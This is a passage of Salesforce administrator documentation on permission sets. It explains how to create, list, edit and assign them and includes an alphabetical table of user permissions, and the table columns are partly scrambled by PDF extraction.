Creating Permission Sets

557

User Management

Creating Permission Sets

Creating Permission Sets


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed


To create permission sets:

Manage Users

You can either clone an existing permission set or create a new one. A cloned permission set starts with the same user license
and enabled permissions as the permission set it is cloned from, while a new permission set starts with no user license selected
and no permissions enabled. You can create up to 1,000 permission sets.
1. Click Your Name > Setup > Manage Users > Permission Sets.
2. Do one of the following:

To create a permission set with no permissions enabled, click New.


To create a permission set based on an existing set, click Clone next to the set you want to copy. You can also select
the permission set and click Clone in the overview page or one of the settings pages.
Note: Clone a permission set only if the new one will have the same user license as the original. In a cloned
permission set, you can't select a different license.

3. Enter a label, API name, and description.


The API name is a unique name used by the Force.com API and managed packages. It must begin with a letter, and use
only alphanumeric characters and underscores. It can't include spaces, end with an underscore, or have two consecutive
underscores.
4. If this is a new permission set, select the user license that matches the users who will use this permission set. For example,
if you plan to assign this permission set to users with the Salesforce license, select Salesforce.
5. Click Save.
The permission set overview page appears. From here you can navigate to the permissions you want to add or change.

See Also:
Assigning Permission Sets
Working in a Permission Set's Overview Page
Viewing Feature Licenses

558

User Management

Using Permission Set Lists

Using Permission Set Lists


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed


To view permission sets, and print permission set lists:

View Setup and Configuration

To delete permission sets and permission set list views:

Manage Users

To view the permission sets in your organization, click Your Name > Setup > Manage Users > Permission Sets. In the
permission sets list page, you can:

Show a filtered list of permission sets by selecting a view from the drop-down list
Create a list view or edit an existing view
Delete a list view by selecting it from the drop-down list and clicking Delete
Create or clone a permission set
Print a list view
Refresh the list view by clicking
Edit permissions directly in a list view
View or edit a permission set
If it's not assigned to any users, remove a permission set by clicking Del

See Also:
Permission Sets Overview
Assigning Permission Sets

Creating and Editing Permission Set List Views


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed


To create, edit, and delete permission set list views:

Manage Users

You can create and edit permission set list views to show a list of permission sets with specific fields and permissions. For
example, you could create a list view of all permission sets in which Modify All Data is enabled.
1. In the Permission Sets page, click Create New View, or select a view and click Edit.
2. Enter the view name.

559

User Management

Using Permission Set Lists

3. Under Specify Filter Criteria, specify the conditions that the list items must match, such as Modify All Data equals
True.
a.
b.
c.
d.

Type a setting name, or click the lookup icon


to search for and select the setting you want.
Choose a filter operator.
Enter the value that you want to match.
To specify another filter condition, click Add Row. You can specify up to 25 filter condition rows.
To remove a filter condition row and clear its values, click .

4. Under Select Columns to Display, specify the settings that you want to appear as columns in the list view. You can add
up to 15 columns.
a. From the Search drop-down list, select a setting type.
b. Enter part or all of a word in the setting you want to add and click Find.
Note: If the search finds more than 500 values, no results appear. Refine your search criteria to show fewer
results.
c. To add or remove columns, select one or more column names and click the Add or Remove arrow.
d. Use the Top, Up, Down, and Bottom arrows to arrange the columns in the sequence you want.
5. Click Save, or if you're cloning an existing view, rename it and click Save As.

See Also:
Using Permission Set Lists
Editing Permission Sets from a List View
Deleting List Views

560

User Management

Using Permission Set Lists

Editing Permission Sets from a List View


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed


To edit multiple permission sets from the list view:

Manage Users
AND
Customize Application
AND
Mass Edit From Lists

You can change permissions in up to 200 permission sets directly from the list view, without accessing individual permission
sets.
Note: Use care when editing permission sets with this method. Making mass changes may have a widespread effect
on users in your organization.
1. Select or create a list view that includes the permission sets and permissions you want to edit. Editable fields display a
pencil icon ( ) when you hover over the field, while non-editable fields display a lock icon ( ).
2. To edit multiple permission sets, select the checkbox next to each one you want to edit. If you select permission sets on
multiple pages, the selections on each page are remembered.
3. Double-click the permission you want to edit. For multiple permission sets, double-click the permission in any of the
selected permission sets.
4. In the dialog box that appears, enable or disable the permission. In some cases, changing a permission may also change
other permissions. For example, if Manage Cases and Transfer Cases are enabled in a permission set and you disable
Transfer Cases, then Manage Cases is also disabled. In this case, the dialog box lists the affected permissions.
5. To change multiple permission sets, select All n selected records (where n is the number of permission sets you selected).
6. Click Save.
If you edit multiple permission sets, only those that support the permission you are changing will change. For example, if you
use inline editing to enable Modify All Data in a permission set, but because of its user license the permission set doesn't
have Modify All Data, the permission set won't change.
If any errors occur, the error message lists each permission set and a description of the error. Click the permission set name
to open its overview page. The permission sets you've clicked appear in the error window in gray, strike-through text.
Note: To view the error console, pop-up blockers must be disabled for the Salesforce domain. To check if your browser
allows pop-up windows, click Your Name > Setup > My Personal Information > Reminders, and then click Preview
Reminder Alert.

561

User Management

Working in a Permission Set's Overview Page

Any changes you make are recorded in the setup audit trail.

See Also:
Creating and Editing Permission Set List Views
Monitoring Setup Changes
Using Permission Set Lists

Working in a Permission Set's Overview Page


Available in: Enterprise, Unlimited, Developer, and Database.com Editions
Visualforce is not available in Database.com

User Permissions Needed


To view permission sets:

View Setup and Configuration

To delete permission sets and edit permission set properties: Manage Users

A permission set's overview page provides an entry point for all of the permissions in a permission set. To open a permission
set overview page, click Your Name > Setup > Manage Users > Permission Sets and select the permission set you want to
view.
From the permission set overview page, you can:

Search for permissions and settings


Create a permission set based on the current permission set
If it's not assigned to any users, remove the permission set by clicking Delete
Change the permission set label, API name, or description by clicking Edit Properties
View a list of users who are assigned to the permission set
View or edit:

Assigned apps
Object settings (tab settings, object permissions, and field permissions)
App permissions
Apex class access settings
Visualforce page access settings
System permissions

562

User Management

Working in a Permission Set's Overview Page

Service providers (if you've enabled Salesforce as an identity provider)

See Also:
Assigning Permission Sets
About App and System Settings in Permission Sets
Permission Sets Overview

About App and System Settings in Permission Sets


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

In permission sets, permissions and settings are organized into app and system categories, which reflect the rights users need
to administer and use system and app resources.
App Settings
Apps are sets of tabs that users can change by selecting the drop-down menu in the header. All underlying objects, components,
data, and configurations remain the same, regardless of the selected app. In selecting an app, users navigate in a set of tabs
that allows them to efficiently use the underlying functionality for app-specific tasks. For example, let's say you do most of
your work in the sales app, which includes tabs like Accounts and Opportunities. To track a new marketing campaign, rather
than adding the Campaigns tab to the sales app, you select Marketing from the app drop-down to view your campaigns and
campaign members.
The Apps section of the permission sets overview page contains settings that are directly associated with the business processes
the apps enable. For example, customer service agents might need to manage cases, so the Manage Cases permission is in
the Call Center section of the App Permissions page. Some app settings aren't related to app permissions. For example, to
enable the Time-Off Manager app from the AppExchange, users need access to the appropriate Apex classes and Visualforce
pages, as well as the object and field permissions that allow them to create new time-off requests. The Apps section contains
links to:

Assigned apps
Object settings, which include:
Tab settings
Object permissions
Field permissions

App permissions
Apex class access
Visualforce page access

System Settings
Some system functions apply to an organization and not to any single app. For example, View Setup and Configuration
allows users to view setup and administrative settings pages. Other system functions apply to all apps. For example, the Run
Reports and Manage Dashboards permissions allow managers to create and manage reports in all apps. In some cases, such
as with Modify All Data, a permission applies to all apps, but also includes non-app functions, like the ability to download
the Data Loader.

563

User Management

Working in a Permission Set's Overview Page

In the permission sets overview page, the System section contains links to:

System permissions
Service providers (if you've enabled Salesforce as an identity provider)

Using a Permission Set's Assigned Users Page


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed


To view users that are assigned to a permission set:

View Setup and Configuration

To view all users that are assigned to a permission set, from the permission set overview page, click Assigned Users. From
the assigned users page, you can:

Create one or multiple users


Reset passwords for selected users
Edit a user
View a user's detail page by clicking the name, alias, or username
View or edit a profile by clicking the profile name
Export users to Google and create Google Apps accounts (if Google Apps is enabled in your organization)

See Also:
Assigning Permission Sets

Searching Permission Sets


Available in: Enterprise, Professional, Developer, and Database.com Editions
Visualforce is not available in Database.com

User Permissions Needed


To search permission sets:

View Setup and Configuration

On any of the detail pages, type at least three consecutive letters of an object, setting, or permission name in the Find Settings...
box. The search terms aren't case-sensitive. As you type, suggestions for results that match your search terms appear in a list.
Click an item in the list to go to its settings page. You can search for:

564

User Management

Viewing and Editing Assigned Apps in Permission Sets

Item

Example

Assigned apps

Type sales in the Find Settings box, then select Sales from the list.

Objects

Type an existing objects name. For example, lets say you have an Albums
custom object, type albu, then select Albums.

Fields

Type the name of the object that contains the field. For example, lets say
your Albums object contains a Description field. To find the Description
field for albums, type albu, select Albums, and scroll down to
Description under Field Permissions.

Tabs

Type rep, then select Reports.

Apex class access settings

Type apex, then select Apex Class Access.

Visualforce page access settings

Type VISU, then select Visualforce Page Access.

App and System permissions

Type api, then select API Enabled.

Service providers (available only if Salesforce is


enabled as an identity provider)

Type serv, then select Service Providers.

If no results appear in a search:

The permission, object, or setting you're searching for may not be available in the current organization.
The item you're searching for may not be available for the user license that's associated with the current permission set.
For example, a permission set with the High Volume Customer Portal license doesn't include the Modify All Data
permission.
Be sure your search terms have at least three consecutive characters that match the object, setting, or permission name.
Be sure the search term is spelled correctly.

See Also:
Permission Sets Overview

Viewing and Editing Assigned Apps in Permission Sets


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view assigned app settings:

View Setup and Configuration

To edit assigned app settings:

Manage Users

Assigned app settings specify the apps that users can select in the Force.com app menu.
Unlike profiles, you cant assign a default app in permission sets. You can only specify whether apps are visible.

565

User Management

Assigning Permission Sets

To assign apps:
1.
2.
3.
4.
5.

Click Your Name > Setup > Manage Users > Permission Sets.
Select a permission set, or create one.
On the permission set overview page, click Assigned Apps.
Click Edit.
To assign apps, select them from the Available Apps list and click Add. To remove apps from the permission set, select
them from the Enabled Apps list and click Remove.
6. Click Save.

See Also:
What is an App?

Assigning Permission Sets


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed


To view users that are assigned to a permission set:

View Setup and Configuration

To assign permission sets:

Manage Users

From the user detail page, you can assign permission sets or remove a permission set assignment.
1.
2.
3.
4.

Click Your Name > Setup > Manage Users > Users.
Select a user.
In the Permission Set Assignments related list, click Edit Assignments.
To assign a permission set, select it from the Available Permission Sets box and click Add. To remove a permission set
assignment, select it from the Enabled Permission Sets box and click Remove.
Note: The Permission Set Assignments page shows only permissions sets that match the user's license. For example,
if a user's license is Chatter Only, you can only assign permission sets with the Chatter Only license to that user.

5. Click Save.

See Also:
Permission Sets Overview
Using a Permission Set's Assigned Users Page
Creating Permission Sets

566

User Management

User Permissions

User Permissions
The user permissions available vary according to which Edition you have.

The following table lists all user permissions in alphabetical order. In permission sets and the enhanced profile user interface,
these permissions are listed in the App Permissions or System Permissions pages. In the original profile user interface, they
are listed under Administrative Permissions and General User Permissions.
You can enable user permissions in permission sets and profiles.
Permission Name

Description

Functions Controlled

Profiles

Activate Contracts

Change contract status to


Activated.

Change contract status to


Activate;

System Administrator
Contract Manager

Create, edit and delete


contracts
Activate Orders

Change order status to


Activated.

Change order status to


Activate;

System Administrator

Create, edit, and delete orders


Affected by Divisions

Filter search results, list views, Filter a users search results,


and reports by division.
list views, and reports by
division. With this permission
deselected, a users searches,
list views, and reports always
show records in all divisions.
Enterprise, Unlimited, and
Developer Edition
organizations can edit this user
permission on standard and
custom profiles
Access any Salesforce API

System Administrator
Standard User
Solution Manager
Marketing User
Contract Manager

API Enabled

Access any Salesforce API.

System Administrator

API Only User

Access Salesforce only through Access Salesforce only through None


a Salesforce API.
a Salesforce API

Approve Contracts

Approve or reject a contract


from a related list.

Apply an approved status to a System Administrator


contract
Contract Manager

Author Apex

Create Apex classes and


triggers.

Can modify and deploy Apex System Administrator


classes and triggers, set
security on Apex classes, and
create email services

Background Report Export

Run reports in the


Run reports in the
System Administrator
background, and export results background, and export results

567

User Management

Permission Name

User Permissions

Description

Functions Controlled

as a CSV or Excel file on


completion.

as a CSV or Excel file on


completion

Profiles

Bulk API Hard Delete

Delete records in the Bulk


Delete records without storing None
API without storing them in them in the Recycle Bin,
the Recycle Bin.
making them eligible for
immediate deletion.

Chatter Internal User

Use all Chatter features.

Use all Chatter features.

System Administrator
Standard User
Solution Manager
Marketing User
Read Only
Contract Manager
Chatter Moderator User
Chatter Free User

Convert Leads

Convert leads into accounts,


contacts, and opportunities.

Convert leads into accounts,


contacts, and opportunities

System Administrator
Standard User
Solution Manager
Marketing User
Contract Manager

Create and Customize Reports Create, edit, and delete


reports.

View the Reports tab;

System Administrator

Run, create, edit, save, and


delete reports;

Standard User

View dashboards based on


reports

Solution Manager
Marketing User
Read Only
Contract Manager

Create and Share Links to


Chatter Files

Share a Chatter file with


Chatter users can share
anyone by creating a file link Chatter files via link.
and sending it via email or
IM.

System Administrator
Standard User
Solution Manager
Marketing User
Read Only
Contract Manager

568

User Management

User Permissions

Permission Name

Description

Functions Controlled

Profiles

Create and Upload Change


Sets

Create and upload a change


set.

Create a change set, add


System Administrator
components to it, and upload
it

Create AppExchange
Packages

Create packages that can be Create AppExchange


System Administrator
distributed through
packages.
AppExchange. Use outbound
Create and upload change sets.
change sets.

Create Libraries

Create Salesforce CRM


Content libraries.

Create Salesforce CRM


Content libraries

System Administrator

Customize Application

Customize the organization


using App Setup menu
options.

Edit messages and custom


links;

System Administrator

Modify standard picklist


values;
Create, edit, and delete
custom fields;
Create, edit, and delete page
layouts (also requires the
Edit permission for the
record, for example, Edit on
accounts);
Set field-level security;
Create, edit, and delete
custom links;
Edit the Lead Settings;
Activate big deal alerts;
Create record types;
Set up Web-to-Case and
email response rules;
Set up Web-to-Lead and
email response rules;
Set up assignment and
escalation rules;
Set up business hours;
Set up Email-to-Case or
On-Demand Email-to-Case;
Edit Self-Service page layouts
and portal color theme (also
requires the Manage
Self-Service Portal

569

User Management

Permission Name

User Permissions

Description

Functions Controlled

Profiles

permission to set up and


maintain Self-Service settings
and delete your organization's
Self-Closed Case Status
value);
Set up and enable multilingual
solutions;
Set up team selling;
Set up account teams;
Map custom lead fields;
Manage queues;
Create, edit, and delete
workflow rules, tasks, field
updates, outbound messages,
and alerts (outbound messages
also requires Manage
Translation and, if territories
are enabled, Manage
Territories permissions);
Create, edit, and delete
custom s-controls, custom
objects, and custom tabs;
Rename tabs;
Manage custom apps and
Service Cloud console apps;
Create and edit public
calendars and resources;
Set up the console;
Enable, set up, and modify the
Salesforce Customer Portal;
Set up and schedule analytic
snapshots to run;
Create communities for ideas
and answers;
Create Visualforce email
templates
Data Export

Run the data export service.

Run the data export service.

System Administrator

570

User Management

User Permissions

Permission Name

Description

Functions Controlled

Profiles

Delegated Portal User


Administrator

Manage portal users who


belong to the same portal
account.

Allows Customer Portal and None


Partner Portal users to create,
edit, deactivate, and reset
passwords for other portal
users (also requires Portal
Super User to create and view
cases for Customer Portal
users)

Delete Activated Contracts

Delete contracts, regardless of Delete contracts regardless of System Administrator


their status.
status;
Activate, create, and edit
contracts

Deliver Uploaded Files and


Personal Content

Enables non-Content users to


create content deliveries, and
enables Salesforce CRM
Content users to create
content deliveries using
documents in their personal
libraries.

Non-Content users can create System Administrator


content deliveries;
Standard User
Salesforce CRM Content
Solution Manager
users can create content
deliveries using documents in Marketing User
their personal libraries
Read Only
Salesforce CRM Content
users don't need this
permission to create content
deliveries in shared libraries.

Contract Manager

Deploy Change Sets

Deploy change sets.

Deploy change sets sent from System Administrator


another organization

Download AppExchange
Packages

Install or uninstall
AppExchange packages as
system administrators.

Install or uninstall
System Administrator
AppExchange packages from
the AppExchange

Drag-and-Drop Dashboard
Builder

Create, edit, and delete


dashboards through the
drag-and-drop dashboard
builder interface.

Create, edit, and delete


dashboards using the
dashboard builder interface

Edit Activated Orders

Edit an order record once it is Create, edit, and delete


activated.
activated orders

Edit Case Comments

Edit their own case comments Enables users to edit and


None
but not other user's comments. delete case comments that
they have added to cases (also
requires Edit on cases)

Edit Events

Create, edit, and delete events. Create, edit, and delete events System Administrator

System Administrator

System Administrator

Standard User
Solution Manager

571

User Management

Permission Name

User Permissions

Description

Functions Controlled

Profiles
Marketing User
Contract Manager

Edit Forecasts

In Forecasts (Classic), create, In Forecasts (Classic), create, System Administrator


edit, and delete forecasts.
edit, and delete forecasts.
Standard User
This permission is not
Solution Manager
available for Customizable
Forecasts and the Forecasts Marketing User
product released in Winter
Contract Manager
12. If you migrate to
Customizable Forecasts,
custom profiles that have the
Edit Forecasts permission
get the Edit Personal Quota
and Override Forecasts
permissions.

Edit HTML Templates

Create, edit, and delete


HTML email templates.

Create, edit, and delete both System Administrator


custom HTML templates and
Marketing User
HTML email templates using
letterheads

Edit Opportunity Product


Sales Prices

Change the sales price on


opportunity line items.

Enable users to change the


sales price on products

System Administrator
Standard User
Solution Manager
Marketing User
Contract Manager

Edit Personal Quota

In Customizable Forecasts,
In Customizable Forecasts,
System Administrator
change your individual quota change your individual quota
Standard User
amount.
amount.
Solution Manager
This permission is not
Marketing User
available for Forecasts
(Classic) and the Forecasts
Contract Manager
product released in Winter
12.

Edit Read Only Fields

Edit fields that are read only


due to page layouts or
field-level security.

Edit fields marked as read only System Administrator


(by field-level security or by
the page layout) for all other
users

572

User Management

User Permissions

Permission Name

Description

Edit Self-Service Users

Enable and disable contacts For the Self-Service portal:


for Self-Service and Customer enable and deactivate contacts;
Portal access.
For the Salesforce Customer
Portal: enable, disable, and
deactivate contacts; disable
accounts; merge Customer
Portal users (also requires
Delete on contacts)

Edit Tasks

Functions Controlled

Profiles
System Administrator
Standard User
Solution Manager
Marketing User
Contract Manager

Create, edit, and delete tasks. Create, edit, and delete tasks System Administrator
Standard User
Solution Manager
Marketing User
Contract Manager

Export Reports

Use Export Details and


Printable View to export
reports.

Use Export Details and


Printable View to export
reports

System Administrator
Standard User
Solution Manager
Marketing User
Contract Manager

Import Leads

Import Personal Contacts

Import leads and update


campaign history.

Import leads and update


campaign history using the
import wizard

System Administrator
Marketing User

Import personal accounts and Import personal accounts and System Administrator
contacts.
contacts using the import
Standard User
wizard
Solution Manager
Marketing User
Contract Manager

Import Solutions

Import solutions for the


organization.

Import solutions for the


System Administrator
organization using the import
Solution Manager
wizard

Insert System Field Values for Set the CreatedById or


Chatter Feeds
CreatedDate for a Chatter
post or comment from the
API when creating the record.

Set the CreatedById or


System Administrator
CreatedDate for a Chatter
post or comment from the
API when creating the record.

Invite Customers to Chatter

Invite customers to Chatter.

Invite customers to Chatter.

System Administrator
Standard User

573

User Management

Permission Name

User Permissions

Description

Functions Controlled

Profiles
Solution Manager
Marketing User
Read Only
Contract Manager
Chatter Moderator User
Chatter Free User
Chatter External User

Is Single Sign-On Enabled

Delegate username and


password authentication to a
corporate database instead of
the Salesforce user database.

Username and password


None
authentication is delegated to
a corporate database such as
Active Directory or LDAP,
instead of the Salesforce user
database

Log in to Subscriber
Organization

Log in to subscriber
organizations to perform
package support using the
Subscriber Support Tab.

Log in to subscriber
organizations to perform
package support using the
Subscriber Support Tab.

Manage Analytic Snapshots

Create, edit, and delete


analytic snapshots.

Set up and schedule analytic System Administrator


snapshots to run (also requires
the Schedule Dashboards,
Run Reports, and View
Setup and Configuration
permissions)

Manage Articles

Create, edit, assign, publish, Create, edit, delete, assign,


None
archive, and translate
publish, and archiveSalesforce
Salesforce Knowledge articles. Knowledge articles;

System Administrator

Edit draft articles;


Submit Salesforce Knowledge
articles for translation;
Publish and archive translated
articles;
Access the Article
Management tab
Manage Billing

Purchase additional licenses


and features.

Add user licenses;

System Administrator

Edit billing and credit card


information;
Grant Checkout access

574

User Management

User Permissions

Permission Name

Description

Functions Controlled

Profiles

Manage Business Hours


Holidays

Create, edit, and delete


business holidays.

Create and edit business


System Administrator
hours; create, edit, and delete
holidays (also requires View
Setup and Configuration)

Manage Call Centers

Create, import, edit, and


delete a call center
configuration.

Import, view, edit, and delete System Administrator


a call center (also requires
View Setup and
Configuration)

Manage Cases

Administer case settings,


Set support business hours;
including Email-to-Case and
Edit support settings;
mass transfer of cases.
Set up Email-to-Case;

System Administrator

Perform actions on multiple


cases in a list view, such as
mass transfer of cases
Close multiple cases
Manage Categories

Define and modify solution


categories settings.

Define and modify solution


categories;

System Administrator

Edit Solution Settings to


enable solution browsing
This permission only applies
to solution categories, not data
categories
Manage Connections

Allows a user to create and


update connections and
templates in Salesforce to
Salesforce.

Create, update, and deactivate System Administrator


Salesforce to Salesforce
connections and create and
update connection templates

Manage Chatter Messages

Access all users' messages sent Access all users' messages sent None
in Chatter.
in Chatter (also requires API
Enabled or Api Only User)

Manage Content Permissions Create, edit, and delete library Create, edit, and delete library System Administrator
permissions in Salesforce
permissions in Salesforce
CRM Content.
CRM Content
Manage Content Properties

Create, edit, and delete


custom fields in Salesforce
CRM Content.

Create, edit, and delete


custom fields in Salesforce
CRM Content

System Administrator

Manage Content Types

Create, edit, and delete


content types in Salesforce
CRM Content.

Create, edit, and delete


content types in Salesforce
CRM Content

System Administrator

575

User Management

User Permissions

Permission Name

Description

Functions Controlled

Profiles

Manage Custom Report


Types

Create and edit custom report Create and edit custom report System Administrator
types.
types (also requires View
Setup and Configuration to
view the organization Setup
pages where custom report
types are managed; also
requires Modify All Data to
delete custom report types, as
all reports and dashboard
components using that report
type are deleted as well)

Manage Dashboards

Create, edit, and delete the


user's personal dashboards.

Create, edit, and delete


System Administrator
dashboards (also requires
Modify All Data to edit a
dashboard created by another
user)

Manage Data Categories

Create, edit, and delete data


categories.

Create, edit, and delete data


categories

System Administrator

This permission only applies


to data categories, not solution
categories
Manage Data Integrations

Monitor or abort Bulk API


jobs.

Monitor or abort Bulk API


jobs;

System Administrator

Grant access to Bulk API


monitoring pages
Manage Dynamic Dashboards Create, edit, and delete
dynamic dashboards.

Create, edit, and delete


dynamic dashboards

System Administrator

Manage Email Client


Configurations

Create, edit, and delete


Outlook configurations for
Salesforce for Outlook.

Create, edit, and delete


Outlook configurations for
Salesforce for Outlook.

System Administrator

Manage Entitlements

Enable, create, and update


entitlement management
items.

Set up and maintain


entitlement management;

System Administrator

Enable and disable


entitlement management,
including entitlements, service
contracts, and contract line
items;
Create, edit, and delete
entitlement templates;
Create, edit, and delete
milestones;

576

User Management

Permission Name

User Permissions

Description

Functions Controlled

Profiles

Create, edit, and delete


entitlement processes
Manage Force.com Flow

Create, edit, delete, and


manage flows.

Upload, activate, deactivate,


edit, and delete flows;

System Administrator

Open, edit, or create flows in


the Cloud Flow Designer;
Run flows from flow detail
and list pages, or from within
the Cloud Flow Designer;
Run active and inactive flows
Manage Leads

Change the status of multiple Change Status of multiple


leads in a list view.
leads in a list view

System Administrator

Manage Letterheads

Create, edit, and delete


Create, edit, and delete
System Administrator
letterheads for HTML emails. letterheads for HTML emails
Marketing User

Manage Mobile
Configurations

Manage Salesforce Mobile


users and devices.

Create, edit, and delete mobile System Administrator


configurations for Salesforce
Mobile;
Manage mobile settings

Manage Package Licenses

Manage package licenses in


subscriber organizations.

Grant or revoke user licenses System Administrator


for an installed app in a
managed package

Manage Partners

Create partner accounts and


partner users.

Create partner accounts and


partner users;

System Administrator

Disable partner accounts and


partner users;
Merge partner users (also
requires Delete on contacts)
Manage Public Documents

Create, edit, and delete folders Create, edit, and delete public System Administrator
for public documents.
document folders
Marketing User

Manage Public List Views

Create, edit, and delete public Create, edit, and delete public System Administrator
list views.
list views

Manage Public Reports

Create, edit, and delete public Create, edit, and delete public System Administrator
reports.
reports;
Customize the Reports tab

577

User Management

User Permissions

Permission Name

Description

Manage Public Templates

Create, edit, and delete text Create, edit, and delete text
emails, mail merge templates, email and mail merge
and folders for public email templates;
templates.
Edit public folders for email
templates and store email
templates in folders

Manage Published Solutions Create, edit, and delete


publicly accessible solutions.

Functions Controlled

Profiles
System Administrator
Marketing User

Create, edit, and delete


System Administrator
solutions that are accessible to
Solution Manager
the public on your Self-Service
portal or website;
Categorize solutions

Manage Quotas

In the Forecasts product first


released in Winter 12, upload
quota information through the
API and edit quota
information.

In the Forecasts product first System Administrator


released in Winter 12, upload
quota data through the API,
edit and delete quota
information.
This permission is not
available for Forecasts
(Classic) and Customizable
Forecasts.

Manage Remote Access

Manage, create, edit and


delete remote access
applications.

Manage, create, edit and


delete remote access
applications that define
integrations of external
applications which access
Salesforce using the OAuth
protocol.

System Administrator

Manage Salesforce CRM


Content

Create, edit, and delete


libraries and library
memberships.

Create, edit, and delete


libraries;

System Administrator

Edit library membership

Manage Salesforce Knowledge Manage Salesforce Knowledge Enable Salesforce Knowledge; System Administrator
settings, and create, edit, and
Create, edit, and delete article
delete article types.
types;
Edit settings
Manage Self-Service Portal

Manage Self-Service portal


settings and reports.

Set up and maintain


Self-Service settings (also
requires the Customize
Application permission to
modify Self-Service page
layouts and delete your

System Administrator

578

User Management

Permission Name

User Permissions

Description

Functions Controlled

Profiles

organization's Self-Closed
Case Status value);
Run Self-Service reports
Manage Sharing Calculation Suspend and resume sharing Suspend and resume group
System Administrator
Deferral
calculations.
membership and sharing rule
calculations.
Manage Synonyms

Create, edit, and delete


synonym groups.

Create, edit, and delete


synonym groups

System Administrator

Manage Territories

Manage territory
configurations.

Create and edit territories;

System Administrator

Add and remove users from


territories;
Create and edit account
assignment rules;
Manually assign accounts to
territories;
Configure organization-wide
territory management settings;
Create, edit, and delete
outbound messages (also
requires the Customize
Application and Manage
Translation permissions)

Manage Translation

Manage translated labels in Add supported languages and System Administrator


the Translation Workbench. translators, see Adding and
Editing Translated Languages
and Translators;
Enter translated values for any
supported language;
Translate solution categories;
Create, edit, and delete
outbound messages (also
requires the Customize
Application and, if territories
are enabled, Manage
Territories permissions)

Manage Users

Create, edit, and deactivate


Create, edit, and deactivate
System Administrator
users, and manage security
users;
settings, including profiles and
Define and assign user roles;
roles.

579

User Management

Permission Name

User Permissions

Description

Functions Controlled

Profiles

Define sharing model and


sharing rules;
View storage use;
View login history;
View training history;
Manage and assign profiles;
Assign page layouts to
profiles;
Set password policies;
Activate or deactivate
opportunity update reminders;
Set login restrictions
Mass Edits from Lists

Edit multiple records


Edit two or more records
System Administrator
simultaneously from a list with simultaneously from a list with
Standard User
inline editing.
inline editing
Solution Manager
Marketing User
Contract Manager
Standard Platform User
Standard Platform One App
User

Mass Email

Send mass emails to contacts Send bulk emails to contacts


and leads.
and leads

System Administrator
Standard User
Solution Manager
Marketing User
Contract Manager

Moderate Chatter

Deactivate Chatter Free users, Moderate Chatter;


System Administrator
assign moderator privileges to
Deactivate or re-activate
Chatter Moderator User
Chatter Free users, and
Chatter Free users;
remove posts.
Give, or take away, moderator
privileges to Chatter Free
users;
Remove inappropriate posts

580

User Management

User Permissions

Permission Name

Description

Functions Controlled

Profiles

Modify All Data

Create, edit, and delete all


organization data, regardless
of sharing settings.

Create, edit, and delete all


data;

System Administrator

Import accounts and contacts


for organization;
Mass update addresses (also
requires Activate Contract
and Activate Order to
update the addresses of
contracts and orders);
Mass delete data;
Undelete other users data;
Create and edit divisions, and
transfer divisions for multiple
records;
Create an organization-wide
email address

Override Forecasts

Override forecasts of direct


reports.

In Customizable Forecasts,
System Administrator
override personal forecasts and
Standard User
forecasts of direct reports in
Solution Manager
the role hierarchy.
In the Forecasts product first Marketing User
released in Winter 12,
Contract Manager
override (adjust) the forecasts
of direct reports in the forecast
hierarchy.
This permission is not
available for Forecasts
(Classic).

Password Never Expires

Prevent the user's password


from expiring.

Prevent password from ever


expiring

None

Portal Super User

Allows Customer Portal users View and edit cases for their
to view and edit all cases for account
their account.

None

Products Show in Offline

Make products and price


books available in Connect
Offline.

Specify if products and price System Administrator


books are available in Connect
Standard User
Offline
Solution Manager
Marketing User
Read Only

581

User Management

Permission Name

User Permissions

Description

Functions Controlled

Profiles
Contract Manager

Report Builder

Create, edit, and delete reports Create, edit, and delete reports System Administrator
through the drag-and-drop using the report builder
report builder interface.
interface

Reset User Passwords and


Unlock Users

Unlock user accounts that are Unlock user accounts that are System Administrator
locked, and reset user
locked;
passwords.
Reset user passwords

Run Flows

Run flows.

Run Reports

Run reports and dashboards. View the Reports tab;

Run a flow from a custom


None
button, custom link,
Visualforce tab, or a flow URL
System Administrator

Run reports;

Standard User

View dashboards based on


reports

Solution Manager
Marketing User
Read Only
Contract Manager

Schedule Dashboards

Schedule when dashboards


refresh, and send email
notifications that include
refreshed dashboards in
HTML format.

Schedule when dashboards


System Administrator
refresh and send email
notifications to users that
include refreshed dashboards
in HTML format

Schedule Reports

Schedule reports to run and


have the results emailed to
Salesforce users.

Schedule reports to run and System Administrator


have the results emailed in
HTML format to Salesforce
users

Send Email

Send email to a single contact Send email to a single contact System Administrator
or lead.
or lead;
Standard User
Send Stay-in-Touch update
Solution Manager
emails;
Marketing User
Request a meeting
Contract Manager

Send Outbound Messages

Send outbound messages to Send outbound messages, such


an external Web service API. as when you close an
opportunity and need to send
an outbound API message to
another server to generate an
order.

System Administrator
Standard User
Solution Manager
Marketing User
Read Only

582

User Management

Permission Name

User Permissions

Description

Functions Controlled

Profiles
Contract Manager
Standard Platform User
Standard Platform One App
User

Send Stay-in-Touch Requests Send Stay-in-Touch update


emails.

Send Stay-in-Touch email


requests

System Administrator
Standard User
Solution Manager
Marketing User
Contract Manager

Show Custom Sidebar On All Display a custom sidebar on


Pages
all pages in Salesforce.

If users have custom home


None
page layouts that include
components in the sidebar,
displays their custom sidebar
on all pages in Salesforce. If
the Show Custom Sidebar
Components on All
Pages user interface setting

is selected, the Show


Customer Sidebar On All
Pages permission is not
available.
SubmitOrders

Submit orders for approval.

Submit orders to approver for System Administrator


approval

Tag Manager

Manage the configuration of Rename, delete, or restore


System Administrator
private and public tags.
public tags (available only
when public tags are enabled)

Transfer Cases

Change a case's owner.

Transfer one or more cases


System Administrator
that are owned by another
user, if you also have at least
the Edit object permission
and access to view the records

Transfer Leads

Change a lead's owner.

Transfer one or more leads


System Administrator
that are owned by another
user, if you also have at least
the Edit object permission
and access to view the records

Transfer Record

Change the owner of most


records.

Transfer ownership of one or System Administrator


more accounts, campaigns,
cases, contacts, contracts,

583

User Management

Permission Name

User Permissions

Description

Functions Controlled

Profiles

leads, and custom objects that


are owned by another user.
To transfer records owned by
another user, you must also
have at least the Edit object
permission and access to view
the records
Upload AppExchange
Packages

Upload packages to
Upload packages to
AppExchange for distribution. AppExchange. Create and
